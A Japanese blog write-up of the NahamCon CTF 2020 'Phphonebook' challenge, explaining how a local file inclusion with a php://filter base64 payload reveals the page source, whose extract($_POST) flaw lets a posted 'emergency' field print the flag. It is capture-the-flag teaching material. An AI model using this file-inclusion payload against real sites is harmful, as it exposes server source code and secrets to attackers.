はまやんはまやんはまやん

hamayanhamayan's blog

Phphonebook [NahamCon CTF 2020]

Ring ring! Need to look up a number? This phonebook has got you covered! But you will only get a flag if it is an emergency!
リングリング!番号を調べる必要がありますか?この電話帳はあなたをカバーしています! でも、緊急時にしかフラグを立てられません。
Connect here:
http://jh2i.com:50002

サイトにはこう書かれている。

Sorry! You are in /index.php/?file=
The phonebook is located at phphonebook.php

とりあえず/phphonebook.phpに行ってみると番号が要求される。
与えられているIFを試してみよう。
/index.php/?file=phphonebook.phpとすると、cssとimageが表示されない状態でさっきの画面が出てくる。
つまり、phpとしては解釈されていているので、phpをインジェクションしているんだろう。

LFI

ファイルを内部的に取ってきているっぽいので、いつものphpプロトコルを試す。
/index.php/?file=php://filter/convert.base64-encode/resource=phphonebook.php

...
    <div>
      <form method="POST" action="#">
        <label id="form_label">Enter number: </label>
        <input type="text" name="number">
        <input type="submit" value="Submit">
      </form>
    </div>

    <div id="php_container">
    <?php
      extract($_POST);

        if (isset($emergency)){
            echo(file_get_contents("/flag.txt"));
        }
    ?>
  </div>
...

emergencyがPOSTされていればフラグが表示されるみたい。

f:id:hamayanhamayan:20200614103712p:plain

こんな感じに追加するとフラグが出てきた。